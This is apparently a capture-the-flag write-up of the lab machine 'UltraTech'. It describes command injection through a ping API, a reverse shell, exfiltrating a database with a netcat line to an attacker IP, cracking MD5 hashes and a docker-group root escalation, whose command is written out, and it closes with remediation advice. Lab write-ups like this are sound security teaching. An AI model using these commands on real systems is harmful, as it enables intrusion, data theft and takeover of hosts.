🧑💻UltraTech
Exploiting an exposed API endpoint and weak password hashes before escalating via docker.
Last updated
Exploiting an exposed API endpoint and weak password hashes before escalating via docker.
Last updated
Room
UltraTech
OS
Level
Medium
Link
Starting out with the initial port scan for the target host ultratech.thm
we find four open ports.
Looks like ftp
, ssh
and some webserver maybe? We'll determine what services are running on these ports with a more in-depth nmap
scan.
Port 8081 seems to feature Node.js while on port 31331 we find an Apache webserver (v2.4.29). Before we dive into these, we can check for low hanging fruits by attempting anonymous FTP login and looking for information within an SSH banner. However, neither yields anything interesting so we take a closer look on the two higher ports.
The nmap
scan didn't give us much to work with so we'll have a quick look at the site in a browser before continuing enumeration.
Fair enough, we got some sort of application programming interface. At this point we could start to enumerate available api endpoints with tools like wfuzz
or we continue with the webserver and come back to this in case the webserver had nothing to do with it.
The website appears to be filled with very little content and offers very little interaction. Besides scrolling and clicking a few buttons there isn't much to investigate. A gobuster
scan to find potential backup files and the like seems like a good idea but nmap
(with its module http-enum
) already showed a few results that we'll cover.
The contents of robots.txt
ultimately lead us to a partners.html
which displays a login form. Unfortunately, both an email and a password are required - both of which we don't have.
Navigating through the other directories however, /js
stands out. In here we find a file called api.js
with an interesting piece of code:
Inside the function checkAPIStatus
a GET request is made to ultratech.thm:8081/ping?ip=<window.location.hostname>
. When we attempt this request manually we'll quickly see that the server actually attempts to ping the specified ip.
We can now check for command injection by trying different payloads for the ip
parameter. Things to try include $() | ; &&
etc. - but what turns out to work reliably are the backticks `
.
Note that all ;
will be removed from our input and the standard bash reverse shell didn't seem to work first try. Since which python3
reveals that Python is installed on the target, we can upload a simple reverse shell piece by piece and execute it with the following payloads for the ip
parameter (keeping the URL encoding in mind when using curl
).
We successfully gained shell access to the server as the www
user.
The next step in our way to root
is enumeration of the target. Listing the files in our home directory we almost immediately find an sqlite
database. Extracting it to our attacker machine with cat utech.db.sqlite | nc 10.9.249.139 5555
(having set up the corresponding listener of course) we can analyse this database in peace.
It doesn't contain much but we do retrieve two users and their respective password hashes. A look into the /etc/passwd
reveals that r00t
is also a user on the target box so his password could be of special interest to us.
Pasting it into a file called r00t-hash
we can analyse it with haiti
to find out it's an MD5 hash so we subsequently attempt to crack it with john
and rockyou.txt
.
We test the password with su r00t
and succeed.
We have now successfully escalated our privileges to r00t
.
One final step remains though. The output of id
shows that we do not have root
privileges yet.
Instead, we see that the user r00t
is part of the docker
group. We can check if there are any docker containers or images on the machine with docker ps
and docker images
and discover that indeed a docker image called bash
exists.
Both GTFOBins and Google can tell us how to exploit this. The idea is simple: we spawn an instance of this container with an interactive shell and mount the root
of the host OS to a directory inside the container. Once we spawn a root
shell in the container we have access to the entire file system of the host OS with root
permissions via that mount.
docker run -v /:/mnt --rm -it bash chroot /mnt bash
We have now successfully compromised the root
user. Note that the flag for this box is actually the first few characters of root
s SSH key and not this private.txt
.
Of course, if we wanted to gain shell access as root
on the host OS we could just do chmod +x /mnt/bin/bash
and exit the docker container. Then, executing /bin/bash -p
will spawn us a privileged shell.
The author of the room gave this description:
This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.
So what are some of the things that went wrong on this server that could be fixed?
The API should not be exposed publicly (if it's not necessary)
No matter if exposed or not, the API has severe security issues that should be addressed immediately
Do not trust the supplied parameters to always be benign (even on internal networks)
Weak passwords, weak hashing algorithm and weak protection of sensitive files
The database with important credentials was easily discovered and not protected
The password hashes were stored with a rather weak hashing algorithm (MD5)
The passwords were too short (<8 characters) and found in a common wordlist
Improvements would be: encryption at rest, stronger hashing agorithms (making brute force attacks less feasible), enforcing a stronger password policy
Apply principle of least privilege (did r00t
have to be part of the docker
group?)
Linux